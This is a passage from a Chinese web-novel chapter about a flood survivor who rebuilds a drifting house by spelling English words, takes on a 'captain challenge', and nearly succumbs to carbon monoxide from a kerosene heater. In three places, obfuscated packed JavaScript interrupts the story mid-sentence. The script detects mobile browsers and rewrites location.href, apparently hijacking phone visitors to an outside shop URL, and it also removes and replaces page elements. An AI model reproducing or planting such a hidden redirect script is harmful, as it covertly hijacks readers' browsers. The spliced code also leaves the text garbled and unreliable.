“行吧,”她叹气道,“一个一个来。” 先是门和门框所在的墙,墙上乖巧出现小亮屏幕,【wa_l】,wall,她得到了第一面坚固的墙。数字从3变成4。 她大约想明白了,这个数字是记录每一次她拼出来的单词,或者每一次通过拼单词变出的新东西。 然后是第二面、第三面和第四面。词是同样的词,但每回要填的空,都比前一面墙多一个。到最后第四面墙时,干脆就是四个光秃秃的下划线。 不过这也不是问题,wall她闭着眼睛都能拼对。 问题是,后面的三面墙,数字都没有增加。 难道重复拼过的物品,不计入数字? 四面墙稳固了,至少不再有大得能当消防通道的夹缝。不过环顾一圈,后建好的三面墙上,各自有一个方形大洞,其中和门对着的那面墙上,大洞是直接到地面的。 这应该是两扇窗和一扇门。 她先走去对面那面墙,把大洞里出现的门框和门的词都填完整,顺利地得到另一扇高级黑门。 和后三堵墙一样,数字没变。 也就是说,重复的物品确定不计入数字。 接着是左右两扇窗。幸好,这个也不难,【window】和【windowframe】,她在看到小屏幕亮起之前,就已经猜到了。 然后就看到数字从4变成5。明明窗和窗框都是新的,为什么数字只增加1? 难道是因为,这里只用了一个新词吗? 四面墙都建好后,屋内最有存在感的,便是那个筛子般的屋顶。 找了处不漏雨的地方抬头看,屋顶上果然亮起一个小屏幕,隐约能看见是个挺长的词。可惜,太高了,至少有三米,她够不着,这里又没有梯子。 不对。这里虽没有,但她能自己造啊。 桑浔终于想起来,自己背上还一直背着个靠拼写掉落物资的金手指呢。赶忙把防水袋取下,放在地上,拿出那宝贝的字母盒。打开盖子,里面的26个字母,正安静躺在各自的小方格里。 请你们帮助我,保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482788|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑我。她对着字母许愿。 ……如果能顺便告诉我梯子的英文是什么就更好了。 是的,她想不起来梯子的英文是什么。 而且除了拼写,她发现自己还有别的问题。身上的衣服早被淋透,贴在皮肤,很不舒服,再加上体温流失,她开始打冷颤,指尖也逐渐冻僵。 好冷,她要取暖,她要炉子,她要电热毯,她要……她要大浴巾把自己裹起来。可这些词她都不会说。 对了,她有字典! 哆嗦着将字典从防水袋里扒拉出来,桑浔顾不上被带倒的防水袋,赶紧先去翻汉语索引,要找到浴巾这个词。 已经被雨水泡出褶皱的手指像毫无灵魂的小木棍,没法自如弯曲。她只能屈腿坐在又湿又冷的地板上,把字典放在腿上,然后用牙齿去翻页。 借着字母盒发出的绿色暗光,她终于找到了浴巾,bathtowel,就是洗澡bath,加上毛巾towel。把字典放在地上,拿起开着盖的字母盒,冻僵的手指根本没法取字母。她试了好多次,最后靠着把两手的食指对起来,像筷子一样把字母一个个取了出来。 【获得物资:浴巾bathtowel】。数字也从5变成6。 一片大号浴巾落在腿上,她赶紧先拿浴巾抹了把脸,又抓了把湿透的短发,然后立刻展开浴巾,裹在背上,从胸前交汇。 两只手缩在卷起的毛巾边里,凑到嘴边,使劲哈气。 过了不知道多久,她终于找回对手指尖的感知,后背也没那么冷了,她才重新把字典抱回腿上。 必须解决屋顶问题,如果屋顶持续漏雨,屋内永远不得安宁。 要去拼屋顶,还是要先拼梯子。幸好现在手指恢复了,翻字典没那么痛苦,于是她很快就找到了:□□。 梯子拼了出来,数字也从6变为7。 她基本能够判断数字增加的原则了,不是看拼出多少个东西,也不是看用了几个词,而是两者结合起来看,看拼出了几个全新的东西,并且用的是新词。如果她的猜测没错,最初第一个词是把手knob的话,这算进数字的七个东西应该是:knob、door、frame、wall、window、bathtowel,还有□□。 最后两个是用字母盒变出来的,也被计算在内。 顺利拼出梯子,再把梯子的两边腿撑开,确保稳固。她又把手机掏出来,背面朝上放在一小块不那么湿的地板上,让电筒直接照亮整个屋顶,又把厚字典举到梯子最上面一层踏板。 接着,她把浴巾收起挂在梯子的一处踏板,然后开始小心翼翼地爬梯。 漂流屋一直在水里晃着,浪不小,所以她爬得战战兢兢。一路往上,到了最高一层踏板,她无论如何不敢站起来,只能跨坐在踏板上,仰起头看小屏幕。 【_eiling】。 叹口气,查字典吧。桑浔跨坐在踏板上,字典放在两腿之间,借着电筒照到天花板然后反射下来的光,勉强开始查。 首字母被抹掉的题是最麻烦的,因为不能按照英文索引来查,只能先想出中文,然后从中文索引来找。 她先找出了屋顶这个词,roof,和填空题不搭。 不是屋顶那是什么?难不成是天花板?将信将疑中,她还真找到了天花板的英文词,ceiling。抬头对照,应该就是这个。 于是她向上抬手,打算把词拼完整。 可天花板还是太高,伸长胳膊仍然够不到。她只能试探着半抬起屁股,上半身更向上,然后一手抓住顶层踏板,另一手继续往高处够。 终于够到了,桑浔手指按上那空着的下划线,勾画c的弧度。然而当c的最后终点刚画完,漂流屋突然遇到强流,梯子立刻摇晃。她下意识想站得更高撑住天花板,但没想到,那本厚字典突然从顶层踏板滑落,一下砸到了她的左脚。 疼痛让她失去平衡,左脚踩空,身体从梯子上径直摔向地板。 7. 船长挑战 captain 睁开眼,桑浔花了好几秒才明白,自己正躺在地板上,脸浸在冰凉的水坑中。 她还活着。 撑起身体,摸上自己的脸,冰凉,但没有伤口或肿包。摸上头,把整个脑袋都摸过去一遍,同样,没有伤口,没有肿包。 站起身,活动四肢,又伸手检查了前胸后背,还有尾椎骨,都没事,也都不疼。 好神奇,她哪里都不疼,哪里都没有受伤。 眨眨眼,她突然记起,刚才摔到地上前的一瞬间,那破烂地板似乎突然发出绿光,然后像防护垫一样,轻柔地接住她、包裹她。 所以,漂流屋虽然破烂,虽然关闭了屏障,但仍然能够保护屋内人的基本安全? 想想也是,如果乘客在漂流屋内摔伤摔残什么的,这屋子可就太没用了。 就是可惜了刚用浴巾擦到半干的衣服和身体,现在又泡凉了。 她心疼地看向脚边,那里正躺着那个歪倒的梯子,而她的浴巾和那本字典,正安静泡在小水坑中。 赶紧扶起梯子,又把浴巾和字典捡起来,重新放上梯子的顶层踏板。 然后抬头。 她想知道,刚才自己冒着生命危险拼出来的天花板,成功了吗? 幸好,成功了。仔细看,天花板已经不再像瀑布一样漏水,而是一整片的平整,没有任何泄漏或者渗漏的地方。而天花板之下,是同样平整且干燥的四面墙壁与门窗,和不久之前的糟心样子比,已经从危房变成可拎包入住的水准。 除了脚下的地板。 因为已经不漏雨,所以桑浔并不急着修地板,而是凭着记忆给自己又拼出一个浴巾,再次裹上身子。 她看了眼手机上的时间,已经是周六早晨的五点半。 从窗户玻璃可以看到,外面天色正开始亮起。最黑暗的时刻已经过去,就连大雨和狂浪也似乎开始放缓。 不知道苏归雁她们还好吗?被转移去了哪里?更高的高楼吗?还是直接转去其它城市? 其它城市还好么? 桑浔看着窗外,感慨了片刻,然后将注意力重新投回屋内。 窗外的光亮并不强烈,但通过门和窗的玻璃照进房间后,还是能让人立刻看出,地板的问题有多严重。 整个地板早已被泡烂,每片木板的边缘都翘起。踩上一脚,“噗叽”一声,积水从板缝里挤出来,溅到另一只脚上。 内心豪无波澜,拼个地板而已,floor,她会的。 地板上的小屏幕心灵感应般亮起,桑浔上前拼完了词。很快,数字再次出现,从8变为9。而坑坑洼洼的破烂地面消失,脚下出现了平整且干燥的木质地板。 用脚踩上去,很扎实,也没有奇怪的声音。所有的积水都不见了,地板干爽得像从来没有被泡过一样。 愣了一下,她突然意识到什么,抬头看天花板。 没漏。 转头看墙和门。 没漏、没裂、没缝。 她站在这刚刚修好的漂流屋内,毛巾下的身体还有残存的冰凉,但,屋内已经让她修好了。 刚才那个让她一度以为自己选择错了、以为自己会死在暴雨中的危房漂流屋,让她修好了。 她是不是,如网文里所写的那样,成功给自己在末世收拾好了一个安全屋? 再一转头,窗外,不过几分钟的时间,雨停了,浪静了,天也亮了。 不是那种天光大亮的亮,是大海一般的水面上泛起一层灰白,把黑夜一点一点往后推的那种亮。是那种会让人产生“啊,天亮了,黑夜终于过去了”的亮。 盯着那层灰白看了几分钟,桑浔突然产生一种从未有过、而且特别强烈的想法。 她想烤火。 又饿又冷,身上又湿,就算裹着浴巾,也不可能真的干爽。她觉得自己无比需要一团火,把身上烘干、烘暖。然后再想办法找点食材,在火上做点热腾腾的东西。 说不定,她可以就这样一个漂流屋,加一团火,每天用英语拼出一些吃的玩的用的,然后永远漂流下去,永远不用上班。 这一定很幸福吧。 可这木头做的漂流屋上,生火自然是危险的。她可不想一个冲动,把自己唯一的生存空间给烧了。 但越是知道不能生火,她就越想生火。或许这是人类的本能,在千百万年前,是火给了人类以力量,还有安全感,还有更好的食物。 她愈发觉得,现在只有一团火才能拯救自己,才能开启自己的新生活,才能让自己在这湿冷的水面上活下去。 必须是火,只能是火,其它都不行。 可船上不能生活呀,会烧掉木头的,她再次提醒自己。 那不生真的火行不行?不生那种大火苗的,至少给我个炉子可以烤烤吧!她在心里对那个谨慎的自己大喊道。 炉子? 炉子的话,似乎还真可以。 她有印象,前一晚AI给出的末世求生必需品里,好像就有炉子。 翻出手机查看,果然,煤油取暖炉,keroseneheater。 因为这是烧煤油的,所以自然还要搭配上煤油,kerosene。 煤油取暖器先被造出来,伴随的是数字从9变为10。 还没来得及观察这取暖器,也没来得及拼出煤油,视线中就出现了久违的文字提示。 【检测到乘客使用单词创造出的物资已达10个,完成入门级单词造物任务,成功激活英语舰船长挑战,是否开启挑战介绍?】 【是】【否】 船长挑战,她之前在木筏时候就看到过这个东西,好像做了船长之后,可以自由开启和关闭屏障。除了这个,船长一定还有其它的高级权限吧? 一时间她顾不得又冷又饿,忘记了跟前还有个嗷嗷待燃的取暖炉,伸手点上了【是】。 【船长挑战者你好,欢迎乘坐英语舰。 英语舰为末世文明存续方舟舰队重要支线之一。 方舟舰队以保存人类文明为使命,在末世留下文明种子,助人类在末世之后重现文明。 其中英语舰使命为以舰身作为载体,保存英语语言,进而留存以英语为主要载体的文明成果。】 等一下,意思是说,这英语舰,并不是什么爽文里帮主角走上人生巅峰的金手指,而是个能力越大责任就越大的……责任? 所以自己在不知情的情况下,莫名背上了帮人类留存文明种子的重担?而且好巧不巧,偏偏是她不擅长的英语?! 呃……现在后悔退出还来得及吗? 不等她发问,新一组提示出现。 【英语舰包括两大模式:船长模式与乘客模式。 首次登上漂流屋的人类默认为乘客。乘客模式下,单次乘坐漂流屋的时间上限为20小时。20小时后乘客自动下船。需待4小时冷却时间后,方可再次进入漂流屋。】 不不不,别着急,能不能把话解释清楚,什么叫乘客自动下船?是乘客心甘情愿地走下船吗?真的不是被直接扔进水里吗?还有这冷却时间是什么意思?漂流屋难道是什么游戏大招吗? 而且这4小时CD的意义在哪里?乘客要怎么熬过去?在水上游四小时吗? 这是什么惨绝人寰的水上拉练?海豹突击队怕是也要控诉虐待吧! 况且……桑浔不会游泳啊…… 她突然想到木筏升级为漂流屋之前,被自己带上木筏的那个桨板,有了桨板,或许可以在水上撑够4小时。 可她的桨板在哪里?是被漂流屋收进空间了吧?为什么她现在脑子使劲想,也不能访问空间啊? 【完成基础单词造物任务之后,乘客自动激活船长挑战。挑战成功后自动赢得船长身份,进入船长模式。若挑战失败,则回归乘客模式。 在冷却时间结束、乘客再次登船之后,重新开始新一轮基础单词造物任务。 船长挑战内容:在登船后20小时之内,通过单词或词组拼写,造出100种物品,且均能放置于漂流屋内,即视为挑战成功。 挑战进度:10/100。 距挑战结束倒计时:18:22:49。】 【当前进度】和【当前用时】两行出现在视线的右下方,其中倒计时的秒数正在一下下减少。就像比赛的实时数据,相当有临场感。 原本还在痛苦于不会游泳怎么办、快把桨板还给我的桑浔,在看到倒计时与进度的时候,理智先于情感,大脑当场开始计算。 18个小时,要造出90个物品,相当于每小时造5个物品出来。从任务量来说,似乎挺合理的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482789|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是,她真的要参与挑战,然后变成船长吗? 变成船长的话,可是要承担起人类文明存续的责任啊,更别说还得用英语来承担责任。 她真心不想。 责任是个太沉重的词,人类文明是更加沉重的词。她连工作上对别人的责任都不想承担,全人类的责任自然更是不想碰。 桑浔不是懒,也不是怕苦。 如果现在漂流屋说,乘客必须每天背200个单词,全部背过后才能获得新一天的漂流屋生存资格,她绝对二话不说,背就完了。哪怕从早背到晚,哪怕把自己背头秃。 因为这件事的结果,只会影响她自己一个人,她只需要为自己的安危负责,不需要考虑别人。 但如果漂流屋说,桑浔你必须每天背20个单词,每少背一个单词,地球上当天就会有一万人死掉。那她当场拒绝。 因为把别人的生死与她自己的努力系在一起,太残忍了,对她来说太残忍了。即使只是20个单词,即使对她来说,这件事情并不难。 她不想有别人因为自己的失误而死亡。更不想人类文明因为自己的英语不好,而在这末世彻底消亡。 这世上也许有人愿意当救世主,但绝对不是她。不能是她,不应该是她,也不可能是她。 无视桑浔的内心,眼前的文字提示又换了一组。 【乘客模式与船长模式下能使用的漂流屋功能不同。】 【乘客模式下,乘客可以使用的功能包括: 1.漂流屋成像增强功能,即使在无光源环境下,也可看清半径100米内的周边环境。 2.漂流屋语音增强功能,除自主降噪外,还增加主动收音功能,可主动捕捉到半径100米内信息音。 3.漂流屋主动保护功能,可确保乘客不因外部风浪而在船上出现撞伤、摔伤等物理伤害。】 这些功能和之前的木筏没有太大区别,当然成像和语音都增加了生效半径。但对桑浔来说,这远远不如木筏,因为木筏至少还有屏障和空间。 早知道,还不如不升级漂流屋,只在木筏里做个避难者好了。那个木筏的空间也够放一个取暖炉,把桨板当作床来睡应该也挺舒服。 她的后悔开始变得实质。 无视她的情绪,文字继续出现。 【船长模式下,船长可使用的漂流屋功能包括: 1.上述所有乘客模式下可使用的功能。 2.隐身与保护屏障系统,可抵御4级风、3级浪、及2G以内撞击。屏障系统默认关闭,船长可用意念控制开启或关闭。 3.航向与速度设定,船长可用意念进行设定。其中速度上限为30公里/小时。 4.可通过意念访问100立方米容量的存储空间,并可用意念将存储空间部分实体化。在漂流屋收起时,散落在甲板与房间地板上的物品将自动收至存储空间内。 5.船长可邀请最多三名乘客登船,乘客定义为:人类与动物,不包括植物、真菌等。 6.船长的造物工具由字母盒升级为带电子屏幕的拼写器,且永久续航,防护安全等级为IP67。】 说不心动,肯定是骗人的。 这里面很多功能她都想要,比如存储空间,比如邀请乘客,再比如字母盒升级为拼写器(虽然不知道拼写器是什么东西,也不知道IP67什么意思)。 但,如果代价是她要承担起人类文明的存续,那还是算了。 自己还是老老实实做个乘客,然后争取在20小时结束前找个陆地或者高楼,躲过4小时CD吧。 想到这里,她突然意识到,还不知道自己现在飘到了哪里,往什么方向飘,周边是否正好有可以避难的高楼。 于是她走向刚才进来的那扇门,打开后走了出去。 门外是破破烂烂的甲板残骸,还有同样破破烂烂的木质护栏。其中有一段断开了口子,桑浔一眼就认出,那是自己不久前差点摔落的那段护栏。 甲板上有小屏幕亮着,但她暂时不打算修复,只是想看看自己漂到了哪里。 天更亮了,从灰白变成亮白,漂流屋仿佛身处海上,水天交接处,隐约可以看到一抹橙红色正准备跃出。 就在那橙红色的方向上,她看到了一组高楼。 8. 年糕 rice cake 那是熟悉的天际线,是昌市的市中心CBD,十几栋百米以上的高楼耸立,最高的楼甚至有三百多米。 这片区域大约二十多年前开始开发,桑浔的公司就在这里的一栋老楼里。高楼有新有旧,但在这大水中,都如定海神针,给人以安心。 仿佛昨夜的狂雨只是一场梦,放佛昌市原本就是个建在水上的城市。 视线稍微向左和向右移动,可以看到距离外的另一些高楼,虽然大部分都只露出了头顶短短一截。 这些楼并没有市中心那么高那么密,但胜在数量多,比较分散。考虑到昨晚把人从矮楼转移出去,这些分散的楼反而可以承担更多收容的任务。 桑浔看不出自己的漂流屋在朝哪个方向前进,但环视一圈,她便清楚,自己仍然身处昌市,而且不管朝哪个方向飘,不久后都能遇上某些高楼。 心里稍微安定了些,无论怎样,自己应该都能在登船20小时上限到来之前,找到高楼躲进去的。 于是她回到屋内,打算将所谓的船长挑战放在一边,不去想它。 而是先专注把眼前的取暖炉点着,然后再做点吃的。 刚才拼出来的煤油取暖炉,正安静立在地板上。 这是个圆柱形的金属笼子,分上下好几层,每层实现不同功能。旁边还有配套的漏斗、点火枪、炉灶架等工具。 小时候和父亲露营钓鱼,桑浔曾经见他摆弄过这个东西,不知道她的记忆现在还能不能发挥作用。 金属笼最底部一层是圆柱状的油箱底座,在油箱里灌满煤油之后,就能给取暖器供能。 拧开油箱盖,不出所料,空的。 但没关系,她可以拼出煤油,kerosene。 煤油如期出现,同时视线右下角的计数从10跳到11,她一瞬恍惚。 虽然没打算去完成船长挑战,但仔细想想,她也不能完全无视这个东西。 最好的策略其实是两手准备。也就是说,在20小时到来之前,尽量拼到接近100个词,这样在20小时的时候,自己还有得选,是放弃拼词“主动”下船,还是赶紧凑满100,完成挑战。 没错,她需要做的,是给自己多一个选择。 注意力回到眼前,万事俱备,只欠开工。她拧开瓶盖,拿来取暖器自带的漏斗,把漏斗的出口嘴放进油箱口,然后往漏斗的入口嘴小心倒入一半煤油,最后盖紧油箱盖子。 接着拧开了取暖器的开关旋钮。 煤油立刻顺着灯芯挥发出来,怀旧的油腥味漫入鼻腔,鼻头一酸,她想起了爸爸。 “宝贝,敢不敢自己点炉子?”爸爸的声音仿佛在耳边响起。 现在敢了,爸爸。 拿过取暖器配套的点火枪,扣下开关,一道火苗“唰”地冒出。 油箱上方是扁圆柱形的蜂窝状灯芯,再往上是高圆柱筒状的小烟囱,刚才倒入油箱的煤油,在被吸入灯芯后,就有一部分挥发在了这里。桑浔左手拉住烟囱的把手上抬,让烟囱底部露出一道缝隙,然后将点火枪的头从缝隙里伸进去,再次点火。 下一秒,灯芯被点燃,一团橘黄色均匀亮起,像在木筏上升起小太阳。 小太阳虽小,但很暖,不到半分钟就驱散了身上仿佛已经浸入骨的寒意,桑浔蹲在炉子前,伸出手烤火,心里却有些打鼓。 好像忘了什么重要的事。 但左想右想,还是想不出来,她便决定放弃思考,专注下一个任务。 给自己做点吃的。 防水袋里有苏归雁准备的巧克力,但她现在并不想碰。死里逃生之后,她本能地想吃一些热腾腾、可以驱散寒气、给自己力量的食物。 想吃点辣的。 桑浔平日就很喜欢吃东西。倒不是馋或者贪吃,而是在巨大的工作压力和变态的工作时长之下,吃东西是她能找到的最高效地帮自己缓解压力的方式。 毕竟,她可没有那份时间与奢侈去旅行、运动、或者不被打扰地看书。 尤其是辣,辣可以催生身体释放内啡肽,给人快乐,减缓疼痛。吃辣能让她不那么痛苦悲惨。 如果翻开她的外卖记录,就会发现里面百分之八十都是重口味辣菜,不带重复的:南昌炒米粉、新疆炒米粉、火锅、冒菜、麻婆豆腐、火鸡面、水煮鱼、辣子鸡、螺蛳粉、酸辣粉、炸鸡、咖喱饭、冬阴功、辣卤菜、江西小炒、牛肉锅盔…… 可现在,似乎没有比这道菜更合适的选择了。 韩式辣炒年糕。 可惜字典里没有这道菜,但这难不倒一枚吃货,没有现成的,那就自己准备材料做。反正炉子她已经有了。 老吃家桑浔迅速分析,这道菜需要三样材料,不,四样:年糕、芝士、韩式辣酱,还有锅。 不对,应该是五样,还要加上一个既能吃饭又能当铲子炒菜的大勺。 幸好,这几个词字典上都有: 【年糕ricecake】 【芝士cheese】 【韩式辣酱Koreanchilipaste】 【锅pot】 【大勺bigspoon】 最后这个大勺是她自己发挥。 不得不感慨,字母盒真是囤货届的王者金手指。和末世文里那些需要一点点捡垃圾囤货的主角来说,自己真的很幸运。 如果她大学毕业后还坚持学英语的话,那一定比现在更爽。可惜,没有后悔药,也没有时光机。 东西齐全,先把锅放在取暖器上方自带的炉子上,让锅加热。她突然想起还需要水,就又拼出来drinkingwater。 把水倒进锅里,在水快开时,舀两大勺辣酱进去,搅匀。然后把年糕一根根扔进去,慢慢搅拌。辣酱的香气很浓,立刻勾出食欲,等年糕煮软,水也煮开掉大半,桑浔往锅里豪气地扔了三片芝士。然后将锅从炉子上取下,放在地板上。 懒得再拼个盘子出来,她就着锅,用大勺子搅匀,让每根年糕都裹满芝士辣酱。然后舀起一勺,放到嘴边开始吹。“呼呼”两下后,她失去了耐心,直接咬上去。 烫,好烫。但是好好吃,辣酱完全裹到年糕上,只是一口,就让人完全停不下来。 小脸通红,不知是因为锅里飘上来的热气,还是因为窜进食道的辣味。总之,她从一开始的小口吃,到后来一根根吃,再后来甚至一勺直接挖两三根送进嘴。等终于放慢速度时,不是因为饱了,而是因为锅里的年糕已经没了。 把勺子和锅放在地上,长长地呼出一口气。 胃里暖烘烘的,像揣了个小火炉,辣味还在舌尖上跳,她甚至能感觉到嘴唇都肿了起来。 活过来了。她想。 经过了一夜波折,她现在至少可以给自己寻到一片安静的空间,点一台温暖小炉,做一锅热腾年糕。 如果日子能这样过下去,再添一些运动娱乐的东西,未来在这个漂流屋上的生活,似乎会挺惬意。 就像现在一样。 只不过,还来不及细品这惬意,她突然就觉得累了。好累,想睡觉。 困意席卷而来,甚至连拼出个床或者床垫都觉得麻烦,打算干脆就这样躺下,直接围着小暖炉睡去。 但有个声音对她说,不能睡。 不能睡!那声音时大时小,分不清是来自脑海,还是来自外面。 不能睡!快想!你忘记了什么重要的事情?那声音变得急躁,甚至有些绝望。 至于吗,不就是睡个觉而已。桑浔已经没有力气,决定无视这个声音,直接倒在暖炉旁。 瞳孔映出暖炉橙色的的芯,很可爱,没有跳动的火苗,只是默默发着亮,果然是个小太阳呢。 她在小太阳的映照下闭上了眼。 下一秒,她睁开了眼! 她想起自己忘记了什么。 冷汗直下额头,她怎么就忘了?在没有开门开窗的密闭空间内点炉子,这不就是等着一氧化碳中毒吗? 所以她不是困、不是累,而是吸入了过多的一氧化碳,马上就要昏迷了! 她想站起来,但四肢的力气不知被谁偷了去,拼了命也只能残喘着在地上爬。 朝离自己最近的门爬。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482790|201846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >每爬一下,每前进几厘米,眼皮都会更加沉重,四肢也更加无力。 不能这样睡去,她必须清醒,必须自救。 牙齿咬住舌头,没什么力气,但些微的疼痛还是给了她片刻清明。视线中的门越来越近,终于到了眼前。 她抬起头,看向上方的门把手,耗尽最后一丝力气,向上伸出了手。 眼皮终究没有撑住,重重阖上。 * 不知过了多久,桑浔感觉到自己要醒来了。 像是从很深很深的水底往上浮。底下的水是黑的、沉重的,压着她的眼皮、她的胸口。不知向上浮了多久,她感受到了光,觉得自己要浮出水面了。 身体各个部位陆续上线。 先是血液,从胸口开始,流向四肢,流向手指尖,最后流向皮肤表层。 触觉回来的一瞬间,她先感觉到了冷,又感觉到了热。这两种体感貌似矛盾,却平行存在着,谁也没有干扰对方。 接下来是听觉和嗅觉。温和的、有节奏的击打声,或许是海浪?还有风,几乎不出声,却还是被她听见。至于嗅觉,她闻到了潮味——皱了皱鼻子,这是木头的潮味? 身体恢复的进度条来到了80%。 还差一些,视觉。这是最后一个恢复的。 她睁开眼,进度条来到99%。 自己这是……在哪里? 眼皮太沉了,刚睁开,就撑不住又闭上了。她又试了一次,眼皮抖了抖,好像看到了一片光晕,但还是没有撑住。 直到第三次,她才终于撑住了眼皮,视线逐渐聚焦,看清了眼前的状况。 自己正趴在门口的地板上。 准确来说,她的身体在漂流屋内,她的头刚好朝外倒在门的边界线上,鼻尖几乎贴上了门框。而她的视线,被门框一分为二。 一边是室内,地板干净,木纹清晰。另一边是室外,甲板还翘着,颜色发黑,估计潮味就是从这里而来。 但室外阳光明媚。 因为她是侧趴的姿势,阳光照在她的左半边脸,所以左半边脸被晒的温暖,甚至有些热。而右半边脸贴在潮湿破烂的室外甲板上,早已被泡湿,因此很凉,甚至有些冰冷。 所以,她应该是在自己彻底晕过去之前,用尽最后一丝力气打开了门,然后直接倒在了开着的门口。 “啪”的一声,胳膊处传来疼痛。她估计这应该是那扇门,被风吹动,撞在她的胳膊上。 懒得抽回胳膊,她就那样侧趴着,等大脑开始工作。 这是第几次了?登上漂流屋之后,与死神擦肩而过。 如果算上前一晚大坦和程媛打算给她下药,那她从遇到木筏开始,已经遇上四次危险了。 第一次是被人谋划着下药。第二次是刚激活漂流屋,就差点被涌上楼顶的浪头淹没。第三次是在尝试拼写天花板的时候,从梯子上摔下来。而第四次,是她点燃煤油取暖炉,却忘记开窗通风,导致自己一氧化碳中毒。 该说这漂流屋给自己带来厄运呢,还是说每次都能化险为夷呢? 她打算回到房间去检查取暖炉的情况,可撑起胳膊的瞬间,天旋地转,身体像一坨史莱姆,瘫回到甲板上。 刚刚恢复到99%的进度条,“唰”的一下滚回到了60%。 自己真是,得意忘形了。 并不是只有存在丧尸的末世才充满危险。她此刻身处的这个末世,虽然没有打打杀杀,可也没安全到哪儿去。 必须更加小心谨慎。 大口吸了些清凉的户外空气,她继续平躺在地板上,然后用一个别扭的姿势向右低下头,远远看一眼取暖炉。 那里的橙色小太阳已经灭掉了。 她记得这种容量的取暖炉,倒满燃料一般能用好几个小时。自己刚才出于谨慎只倒了一半煤油进去,所以,她这是昏睡过去了至少两三个小时? 像是在呼应她的推测,视线右下角的船长挑战倒计时突然亮了亮。桑浔视线下移,看到了14:29:56的数字。 还剩14个半小时,她就要被赶下漂流屋了。 9. 发电机 generator 等桑浔终于有力气站起来后,她做的第一件事是回到屋内,关掉取暖炉的阀门,第二件事是打开两边的窗户。 然后抱起地上的字母盒,来到窗前,拼了个sofa出来。 这是一张舒适的白色布艺沙发,躺上去包裹感十足。其实这个沙发的材质也很好,但桑浔没有精力去欣赏,而是拿起字典和字母盒,直接躺在沙发上。 刚才只是去开了两扇窗,就让她疲累不堪。 眩晕感还在,桑浔知道,这是身体缺氧的表现。虽然躺在窗边空气流通,但她真正需要的是氧气,得想办法赶紧吸氧才是。 氧气……氧气瓶……找到了,oxygenbottle。 一个金属瓶出现,出口阀门处自带一个呼吸罩。把呼吸罩盖上脸,打开阀门,一股清流灌入鼻腔。用一个词来形容就是,豁然开朗。 待一瓶吸的差不多了,她又造出一瓶盖在脸上。但这次已经不用躺着,可以在沙发上坐起来了。 既然能坐起来,她便不再浪费时间,而是开始评估自己当前的状况。 用字母盒拼出笔记本和笔,她开始在本子上写。 选项一:完成船长挑战 需要完成:拼够100个词,造出100种物品 难度:中等 权利:可享受所有船长模式下的功能,包括且不限于控制航行、存储空间、拼写器(?)等 义务:为人类文明存续而读书(哭脸) 困难:在没有网络、没有老师的情况下学英语。跟谁学?怎么学? 危险:未知 危险的应对方法:至少有漂流屋的安全屏障 选项二:不完成船长挑战,长久保持乘客身份 需要完成:不要拼满100个即可 难度:低 权利:100米内的画面与声音增强。漂流屋内乘客免于撞伤摔伤等危险(但不包括一氧化碳中毒,哭) 义务:未知,应该是无 困难:每隔20小时就必须下船4小时 危险:溺水;漂流屋没有屏障,可能被别人发现,带来麻烦。 危险应对方法:学会游泳?增强耐力?找到空间,取出桨板? 两个选项写完,她又觉得累了,赶紧拼出第三瓶氧气,再次吸上。 不对,她不止有两个选项。 选项三:离开漂流屋,像其他普通人一样在水上末世求生 需要完成:舍弃漂流屋,找到人群 难度:低 权利:无 义务:无 困难:没有任何金手指,虽然可以靠自己努力,但大概率只能听天由命 危险:所有普通人会面临的末世危险 危险应对方法:尽力而为,但听天由命 写到这里,至少有一件事情很清楚了。 她绝对不要选项三。 没有任何人会在有选择的情况下,还将自己的命运完全交出去。无论是谁,都会希望尽力一搏。 那么是搏选项一,还是选项二? 桑浔此生做过很多选择题,人生的选择,考场上的选择,职场上站队的选择。在这方面,她自认经验丰富。 可现在却犯了难。 单看这两个选项,都各有优劣,无论选择哪个都不会让人心甘情愿,而无论放弃哪个,都会让人觉得可惜,甚至后悔。 苦恼半晌,她决定试试自己上学时掌握的一个考试技巧:如果算不出答案,可能是题目里的细节没有看全。 她有没有漏掉一些题目细节呢? 再次看题,每一行、每个字都带着审视的目光,终于,她发现了自己遗漏的细节:选项二里的危险应对方法,用桨板撑过四小时这件事,她没必要只能用被收进空间里的那个桨板。 她有字母盒啊,可以自己拼一个出来!而且她记得很清楚,前一天晚上AI给出来的求生物资列表,里面好像就有类似船或皮划艇一类的漂浮物。 她有救了。她可以每天20小时在漂流屋,剩下4小时在自己造的船上,或者去到安全的岸上。 缓慢起身巡视一圈,她轻走几步,从地上捡起手机,解锁屏幕。 嗯?屏幕黑了? 原来手机不知什么时候没电了。 不怕,防水袋里还有充电宝。她打开倒在地上的防水袋,伸手进去掏,却碰到一个令她立刻心凉的东西。 是水。 